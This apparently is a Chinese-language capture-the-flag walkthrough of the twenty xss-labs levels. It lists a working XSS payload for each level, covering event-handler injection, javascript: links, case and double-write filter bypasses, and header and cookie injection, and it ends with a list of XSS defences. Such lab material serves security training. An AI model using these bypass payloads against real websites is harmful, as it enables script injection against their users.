文章目录
前言
xss-labs也是非常适合新手练习的靶场,本期为大家带来靶场通关教程以及介绍一下xss漏洞的防御方式和好用的xss工具。
在线靶场:http://test.ctf8.com
XSS自动化工具:xsstrike
项目地址:https://github.com/s0md3v/XSStrike
一、第一关
没有做任何限制,直接输入xss语句
<script>alert('test')</script>
二、第二关
标签被闭合
"><script>alert('test')</script>
三、第三关
<>号都被实体化了
因为html前端代码中;使用标点符号时要空一格
' onclick=alert('test') '
四、第四关
和第三关差不多,只是双引号闭合
" onclick=alert('test') "
五、第五关
提示:javascript伪协议
通过构造href属性来绕过
"><a href="javascript:alert('test')">点击</a><"
六、第六关
过滤了href,尝试大小写绕过
" Onclick=alert('test') "
七、第七关
双写绕过
" OOnnclick=alert('test') "
八、第八关
html实体编码绕过
javascript:alert('test')
编码之后
javascript:alert('test')
九、第九关
这关属实不合理
提示:检测关键字存在
http:// 必须有不然会报错链接不合法(HTML编码)
javascript:alert('test')/* http:// */
十、第十关
提示:隐藏信息
通过构造参数响应发现只有t_sort里面的值被改变了,因此我们可以从该标签进行突破;
尝试能不能注入恶意代码进行弹窗,利用$t_sort参数
<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
十一、第十一关
提示:Referer信息
通关抓包看到缺少referer头
将如下代码加入到referer头中
referer: "type="test" onclick="alert('test')
十二、第十二关
注入点在user-agent
user-agent: "type="text" onclick="alert('test')
十三、第十三关
注入点在cookies,用bp抓包将代码写在cookie处即可
"type="text" onclick="alert('test')
十四、第十四关
第十四关由于网站已经不能访问了,所以就不演示了
十五、第十五关
这一关看到src可以猜想是个文件包含的题目
可以随便包涵之前的一关并对其传参,以达到弹窗的效果
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
由于环境原因就没截图了,后面几个关卡我就只放payload了。
十六、第十六关
这里过滤了很多标签和一些常见方法
回车代替空格绕过检测
?keyword=<svg%0Aonload=alert(1)>
十七、第十七关
环境有问题,跳过了
?arg02= onclick=alert()
十八、第十八关
看的其他师傅的代码
?arg02= onmousedown=alert()
十九、第十九关
?arg01=version&arg02=<a href="javascript:alert()">here</a>
二十、第二十关
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
XSS防御手段
1、xss过滤函数需过滤<><script></script>等字符
2、xss过滤函数需过滤javascript等关键字
3、xss过滤函数需过滤&#\等字符
4、xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字
5、避免使用eval、new Function等执行字符串的方法,除非确认字符串和用户输入无关
6、使用cookies的httpOnly属性,加上了这个属性的cookies字段,js是无法进行读写的
7、html实体化编码